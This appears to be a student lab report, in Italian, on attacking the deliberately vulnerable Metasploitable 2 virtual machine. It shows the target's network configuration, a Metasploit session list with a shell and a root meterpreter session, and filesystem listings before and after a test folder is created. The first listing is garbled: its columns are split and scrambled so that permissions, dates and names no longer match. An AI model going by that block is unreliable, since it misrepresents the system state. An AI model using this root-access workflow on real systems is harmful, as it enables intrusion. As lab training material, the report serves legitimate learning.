## Configurazione IP macchina metasploitable 2

```
msfadmin@metasploitable:~$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6::1/128 scope host
        valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:2f:eb:fd brd ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe2f:ebfd/64 scope link
    valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Risultato dell'attacco senza la cartella "test metasploit"

```
Active sessions
                                                                       Information
                                                                                                                                              Connection
                        shell cmd/unix
                        shell cmd/unix 192.168.1.30:32859 \rightarrow 192.168.1.149:6200 (192.168.1.149) meterpreter x86/linux root @ metasploitable.localdomain 192.168.1.30:4433 \rightarrow 192.168.1.149:50936 (192.168.1.149)
<u>msf6</u> > sessions 2
[*] Starting interaction with 2 ...
<u>meterpreter</u> > ls
Listing: /
Mode
                                                      Type Last modified
                                                                                                                         Name
                                                                  2012-05-13 23:35:33 -0400
2012-05-13 23:36:28 -0400
2010-03-16 18:55:51 -0400
2025-05-12 10:54:27 -0400
040755/rwxr-xr-x
040755/rwxr-xr-x 1024
040755/rwxr-xr-x 4096
040755/rwxr-xr-x 13520
                                                                                                                         boot
                                   4096
13520
                                                      dir
dir
                                                                                                                        cdrom
dev
040755/rwxr-xr-x
040755/rwxr-xr-x
040755/rwxr-xr-x
                                                                  2025-05-12 10:54:32 -0400
2010-04-16 02:16:02 -0400
2010-03-16 18:57:40 -0400
                                   4096
                                                                                                                         home
initrd
                                    4096
                                                       dir
100644/rw-r--r-- 7929183
040755/rwxr-xr-x 4096
040700/rwx----- 16384
                                                                   2012-05-13 23:35:56 -0400
2012-05-13 23:35:22 -0400
2010-03-16 18:55:15 -0400
                                                                                                                         initrd.img
lib
                                                                                                                         lost+found
040700/rwx----
                                                       dir
040755/rwxr-xr-x 4096
040755/rwxr-xr-x 4096
                                                                   2010-03-16 18:55:52 -0400
2010-04-28 16:16:56 -0400
100600/rw 15915
040755/rwxr-xr-x 4096
040555/r-xr-xr-x 0
                                                                   2025-05-12 10:54:53 -0400
2010-03-16 18:57:39 -0400
2025-05-12 10:54:19 -0400
                                                                                                                         nohup.out
                                                       dir
                                                                                                                         proc
                                                                   2025-05-12 10:54:53 -0400
2012-05-13 21:54:53 -0400
2010-03-16 18:57:38 -0400
040755/rwxr-xr-x
040755/rwxr-xr-x
                                   4096
                                                      dir
dir
                                                                                                                         root
sbin
040755/rwxr-xr-x
040755/rwxr-xr-x
041777/rwxrwxrwx
                                                                                                                         srv
sys
tmp
                                   4096
                                                       dir
                                   0
4096
                                                                   2025-05-12 10:54:19
2025-05-12 11:40:34
                                                                                                            -0400
-0400
                                                                  2010-04-28 00:06:37 -0400
2010-03-17 10:08:23 -0400
2008-04-10 12:55:41 -0400
040755/rwxr-xr-x
040755/rwxr-xr-x
                                   4096
                                                                                                                         usi
                                   4096
1987288
100644/rw-r--r--
```

Risultato con la cartella "test\_metasploit" creata.

```
<u>meterpreter</u> > mkdir /test_metasploit
Creating directory: /test_metasploit
meterpreter > ls
Listing: /
                             Type Last modified
040755/rwxr-xr-x
040755/rwxr-xr-x
                    4096
                                    2012-05-13 23:35:33 -0400
                                    2012-05-13 23:36:28 -0400
                    1024
                             dir
                                                                  boot
040755/rwxr-xr-x
                                    2010-03-16 18:55:51 -0400
                    4096
                                                                  cdrom
040755/rwxr-xr-x
                                    2025-05-12 10:54:27 -0400
040755/rwxr-xr-x
                                    2025-05-12 10:54:32 -0400
                                                                   etc
040755/rwxr-xr-x
                                    2010-04-16 02:16:02 -0400
                   4096
                                                                   home
040755/rwxr-xr-x
                                    2010-03-16 18:57:40 -0400
                                                                   initrd
                    4096
                              dir
100644/rw-r--r--
                                    2012-05-13 23:35:56 -0400
                    7929183
                                                                   initrd.img
                                    2012-05-13 23:35:22 -0400
2010-03-16 18:55:15 -0400
040755/rwxr-xr-x
                    4096
040700/rwx---
                    16384
                                                                  lost+found
040755/rwxr-xr-x
                   4096
                              dir
                                    2010-03-16 18:55:52 -0400
                                                                  media
040755/rwxr-xr-x
                                    2010-04-28 16:16:56 -0400
                    4096
                                                                  mnt
                                    2025-05-12 10:54:53 -0400
100600/rw-
                                                                  nohup.out
040755/rwxr-xr-x
                    4096
                                    2010-03-16 18:57:39 -0400
                                    2025-05-12 10:54:19 -0400
040555/r-xr-xr-x
                                                                   proc
                                    2025-05-12 10:54:53 -0400
040755/rwxr-xr-x
                   4096
                              dir
                                                                   root
040755/rwxr-xr-x
                    4096
                                    2012-05-13 21:54:53 -0400
                              dir
                                                                   sbin
040755/rwxr-xr-x
                                    2010-03-16 18:57:38 -0400
                                                                   srv
040755/rwxr-xr-x
                                    2025-05-12 10:54:19 -0400
                                                                   sys
                                    2025-05-12 11:46:05 -0400
2025-05-12 11:40:34 -0400
040700/rwx-----
                   4096
                              dir
                                                                   test_metasploit
041777/rwxrwxrwx
                   4096
                              dir
                                                                  tmp
040755/rwxr-xr-x
                    4096
                                    2010-04-28 00:06:37 -0400
                                    2010-03-17 10:08:23 -0400
040755/rwxr-xr-x
                                                                   var
100644/rw-r--r--
                    1987288
                                    2008-04-10 12:55:41 -0400
                                                                  vmlinuz
```